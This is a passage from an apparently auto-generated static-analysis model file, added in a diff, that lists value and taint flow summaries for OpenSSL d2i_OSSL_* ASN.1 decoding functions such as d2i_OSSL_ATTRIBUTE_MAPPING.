unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATAV", "(OSSL_ATAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTES_SYNTAX", "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_DESCRIPTOR", "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPING", "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_MAPPINGS", "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_ATTRIBUTE_TYPE_MAPPING", 